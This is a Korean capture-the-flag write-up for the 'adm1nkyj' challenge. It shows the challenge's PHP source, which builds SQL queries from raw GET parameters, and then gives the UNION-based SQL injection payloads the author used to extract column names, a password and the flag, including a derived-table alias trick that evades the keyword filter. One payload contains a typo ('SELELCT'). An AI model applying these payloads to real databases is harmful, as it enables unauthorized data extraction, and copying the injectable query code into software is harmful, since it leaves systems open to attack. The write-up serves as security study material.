adm1nkyj

소스코드
index.php
<?php
error_reporting(0);
include("./config.php"); // hidden column name, $FLAG.
mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
mysql_select_db("adm1nkyj");
/**********************************************************************************************************************/
function rand_string()
{
$string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
return str_shuffle($string);
}
function reset_flag($COUNT_COLUMN_NAME, $FLAG_COLUMN_NAME)
{
$flag = rand_string();
# findflag_2 테이블에 저장된 모든 $COUNT_COLUMN_NAME, $FLAG_COLUMN_NAME 행을 조회하여 배열로 반환
# mysql_fetch_array 함수를 사용하면 컬럼명으로 값을 조회할 수 있음
$query = mysql_fetch_array(mysql_query("SELECT $COUNT_COLUMN_NAME, $FLAG_COLUMN_NAME FROM findflag_2"));
# findflag_2 테이블 조회결과 중 $COUNT_COLUMN_NAME 값이 150인 행이 있으면,
if($query[$COUNT_COLUMN_NAME] == 150)
{
# 해당 행의 $FLAG_COLUMN_NAME 값을 새로 발급한 랜덤 플래그 값으로 업데이트
if(mysql_query("UPDATE findflag_2 SET $FLAG_COLUMN_NAME='{$flag}';"))
{
# 그리고 모든 행의 $COUNT_COLUMN_NAME 컬럼값을 0으로 초기화하고 화면에 reset flag 값을 출력
mysql_query("UPDATE findflag_2 SET $COUNT_COLUMN_NAME=0;");
echo "reset flag<hr>";
}
return $flag;
}
else # findflag_2 테이블 조회결과 중 $COUNT_COLUMN_NAME 값이 150인 행이 없으면,
{
# 모든 행의 $COUNT_COLUMN_NAME 컬럼값에 +1을 추가
mysql_query("UPDATE findflag_2 SET $COUNT_COLUMN_NAME=($query[$COUNT_COLUMN_NAME] + 1);");
}
return $query[$FLAG_COLUMN_NAME];
}
function get_pw($PW_COLUMN_NAME){
# 쿼리문 조회결과 중 1번째 행의 $PW_COLUMN_NAME 값을 가져와 반환
$query = mysql_fetch_array(mysql_query("select $PW_COLUMN_NAME from findflag_2 limit 1"));
return $query[$PW_COLUMN_NAME];
}
/**********************************************************************************************************************/
$tmp_flag = "";
$tmp_pw = "";
$id = $_GET['id'];
$pw = $_GET['pw'];
$flags = $_GET['flag'];
if(isset($id))
# GET 요청 시 $id 파라미터로 전달된 값이 있으면 52-68 코드블럭 진입
{
# GET 요청 시 $id, $pw 파라미터에 전달된 값 중 아래 문자열이 존재하면 공격으로 탐지 (대소문자 구분 안 함)
if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack");
if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack");
# $COUNT_COLUMN_NAME, $FLAG_COLUMN_NAME, $ID_COLUMN_NAME, $PW_COLUMN_NAME → config.php 파일에 선언되어 있던 변수
$tmp_flag = reset_flag($COUNT_COLUMN_NAME, $FLAG_COLUMN_NAME);
$tmp_pw = get_pw($PW_COLUMN_NAME);
$query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $ID_COLUMN_NAME='{$id}' and $PW_COLUMN_NAME='{$pw}';"));
if($query[$ID_COLUMN_NAME])
{
if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
{
echo "good job!!<br />FLAG : <b>".$FLAG."</b><hr>";
}
else
{
echo "Hello ".$query[$ID_COLUMN_NAME]."<hr>";
}
}
} else {
highlight_file(__FILE__);
}
?>- 68라인 코드를 보면 사용자로부터 입력받은
$id,$pw파라미터가 SQL 쿼리문에 그대로 사용되고 있었다. 따라서 해당 구간에 SQLi 공격을 시도해볼 수 있다. (입력된 아이디/패스워드가 DB에 저장된 값과 일치하지 않는 경우에는 ‘else {…}’ 절로 코드가 분기되기 때문에findflag_2테이블의 1번째 행에 저장된ID_COLUMN_NAME값을 확인할 수 있다.)

- 아래와 같이
id파라미터에 SQLi 공격을 수행하여adm1ngnngn계정명을 획득했다.

- 다음으로
adm1ngnngn계정의 패스워드를 구해보자. 68라인에서 실행된 SQL 쿼리문에서 조회된 결과가 없으면 화면에 아무런 정보도 반환되지 않지만 유효한 계정이 확인되는 경우에는 78라인이 출력된다. 이러한 서버 측 응답 차이를 이용하여 Blind SQLi 공격을 수행해볼 수 있다.

- 여기서 쿼리문에 사용되는
$id, $pw값은 약간의 문자열 검증 로직이 존재하기 때문에 이를 우회해야 한다.

- 이는 UNION 절을 이용하면 간단히 우회할 수 있었다.
- 아래와 같이 id 파라미터에 인젝션 페이로드를 삽입하면 오류가 발생하지 않고 쿼리 실행이 가능하다.
- (
findflag_2테이블의 컬럼 수는 5개였음) (공격 페이로드) adm1ngnngn'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL+--+
- (
id, pw파라미터에 아래와 같은 값을 입력했을 때 “Hello and xPw4coaa1sslfe=” 응답이 반환됐다.- 이를 통해
$ID_COLUMN_NAME컬럼은findflag_2테이블의 2번째 컬럼이라는 것을 알 수 있다. - 추가로,
$PW_COLUMN_NAME변수에 저장된 값(컬럼명)은 “xPw4coaa1sslfe” 였다.- (
' and $PW_COLUMN_NAME=') 문자열이 2번째 컬럼의 값으로 전달되면$PW_COLUMN_NAME값이 본래의 값으로 변환되기 때문에 원래 어떤 값이었는지를 확인할 수 있다.
- (
- (공격 페이로드)
SELECT * FROM findflag_2 WHERE $ID_COLUMN_NAME='123'+UNION+SELECT+1,' and $PW_COLUMN_NAME=',3,4,5--+';
- 다음으로
adm1ngnngn계정의 패스워드는!@SA#$!인 것을 확인했다.- 맨 앞의 1은 DB에 존재하지 않는 임의의 계정명을 입력해서 좌측 쿼리가 아무런 값도 반환하지 않도록 하기 위함이다.
- UNION 절을 사용할 때, 좌측/우측 쿼리에서 모두 값이 조회되면 좌측 쿼리 결과 값이 우선 반환된다.
- 이후 UNION 절 뒤에 오는 우측 쿼리는
findflag_2테이블로부터 패스워드(xPw4coaa1sslfe) 컬럼 값을 추출하는데, 이렇게 추출된 값은(line 82) "Hello ".$query[$ID_COLUMN_NAME]코드에서$ID__COLUMN_NAME값으로 대신 출력된다.
- 맨 앞의 1은 DB에 존재하지 않는 임의의 계정명을 입력해서 좌측 쿼리가 아무런 값도 반환하지 않도록 하기 위함이다.
(공격 페이로드) '+UNION+SELELCT+1,xPw4coaa1sslfe,3,4,5+FROM+findflag_2+--+
- 이제 DB에 저장된 계정의 아이디/패스워드 정보를 획득했으니 플래그가 저장된 컬럼명을 찾아야 한다.
- (
$flags === $tmp_flag) 검증 로직을 우회하는데 필요함

- (
- 플래그가 저장된 컬럼을 찾기 위해서는 MySQL에서 컬럼의 별칭을 지정할 때 사용되는 AS 속성을 사용할 수 있다.
- 위 내용을 토대로 AS를 이용하여
$FLAG_COLUMN_NAME값 추출을 시도한다. - 현재
$FLAG_COLUMN_NAME컬럼이 몇 번째 컬럼에 위치한지 모르기 때문에 서브 쿼리 내부에서 1, 3, 4번째 컬럼 모두 테스트를 진행해봐야 한다. (2번째 컬럼은 이전 과정에서$ID_COLUMN_NAME인 것을 확인했다.)- 확인 결과 순서대로 (인덱스 번호, ID, PW, 플래그) 값이 저장돼 있는 것을 알 수 있었다.
(공격 페이로드) '+UNION+SELECT+1,subQuery.FLAG,3,4,5+FROM+(SELECT+1,2,3,4+AS+FLAG,5+UNION+SELECT*+FROM+findflag_2+LIMIT+1,1)+subQuery--+
- 지금까지 획득한 정보(계정명, 계정 패스워드, 플래그 값)를 사용하여 서버로 요청을 보내면 플래그를 확인할 수 있다.

번외
- MySQL(MariaDB)에서 서브 쿼리와 달리, 이로부터 파생된 테이블은 반드시 자신의 별칭을 가져야 한다고 한다.
- 익스플로잇 과정에서 플래그 컬럼명을 추출할 때 서브 쿼리를 사용했는데, 이 때 파생된 테이블에 대한 별칭을 설정하지 않아 제대로 값이 출력되지 않았는데 이러한 이유가 있었다. (여기서 삽질을 많이 했다.)
'+UNION+SELECT+1,subQuery.FLAG,3,4,5+FROM+(SELECT+1,2,3,4+AS+FLAG,5+UNION+SELECT*+FROM+findflag_2+LIMIT+1,1)+subQuery--+
🐛.. 🐛.. 🐛..
